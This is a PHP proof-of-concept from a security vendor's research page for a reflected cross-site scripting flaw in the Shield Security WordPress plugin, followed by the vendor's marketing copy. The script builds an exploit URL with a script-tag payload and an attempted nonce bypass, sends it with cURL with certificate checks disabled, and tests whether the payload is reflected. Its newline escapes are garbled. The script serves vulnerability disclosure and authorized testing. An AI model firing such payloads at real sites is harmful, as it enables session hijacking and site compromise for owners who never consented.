// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0561 - Shield Security <= 21.0.8 - Unauthenticated Reflected Cross-Site Scripting via 'message' Parameter

<?php

/**
 * Proof of Concept for CVE-2026-0561
 * Shield Security WordPress Plugin Reflected XSS via 'message' Parameter
 * 
 * This script demonstrates the vulnerability by crafting a malicious URL
 * that triggers JavaScript execution when visited by an authenticated user.
 * 
 * Usage: php poc.php --url https://target.site --payload '<script>alert(1)</script>'
 */

// Configuration
$target_url = 'https://vulnerable-wordpress-site.com';
$payload = '<script>alert("XSS via CVE-2026-0561")</script>';

// Parse command line arguments
if ($argc > 1) {
    $options = getopt('', ['url:', 'payload:']);
    if (isset($options['url'])) {
        $target_url = rtrim($options['url'], '/');
    }
    if (isset($options['payload'])) {
        $payload = $options['payload'];
    }
}

// Generate the exploit URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// The exploit requires a valid nonce, but the vulnerability allows bypassing nonce verification
// through the action_overrides parameter. We'll demonstrate the parameter structure.
$exploit_params = [
    'action' => 'shield_action',
    'ex' => 'render',  // Action slug for rendering
    'exnonce' => 'bypassable_nonce',  // Would normally require valid nonce
    'action_overrides' => [
        'message' => $payload,
        'is_nonce_verify_required' => 'false'  // Attempt to bypass nonce check
    ]
];

// Build the query string
$query_string = http_build_query($exploit_params, '', '&', PHP_QUERY_RFC3986);

// The payload needs to be properly encoded for URL inclusion
// Note: The actual exploit would require proper nonce handling in real scenarios
$exploit_url = $ajax_url . '?' . $query_string;

// Display the exploit URL
echo "Atomic Edge CVE-2026-0561 Proof of Conceptn";
echo "==========================================nn";
echo "Target URL: $target_urln";
echo "XSS Payload: $payloadnn";
echo "Exploit URL:n";
echo "$exploit_urlnn";

// Optional: Test the URL with cURL
if (extension_loaded('curl')) {
    echo "Testing URL with cURL...n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $exploit_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Atomic Edge Security Research');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    echo "HTTP Response Code: $http_coden";
    
    // Check if payload appears in response (indicating potential vulnerability)
    if (strpos($response, htmlspecialchars($payload, ENT_QUOTES)) !== false) {
        echo "Status: POTENTIALLY VULNERABLE - Payload found in responsen";
    } else if (strpos($response, $payload) !== false) {
        echo "Status: VULNERABLE - Unsanitized payload found in responsen";
    } else {
        echo "Status: Test completed - Manual verification requiredn";
    }
} else {
    echo "cURL extension not available. Copy the exploit URL and test in a browser.n";
}

// Important disclaimer
echo "nnDISCLAIMER: This proof of concept is for educational and authorized testing purposes only.n";
echo "Only test against systems you own or have explicit permission to test.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School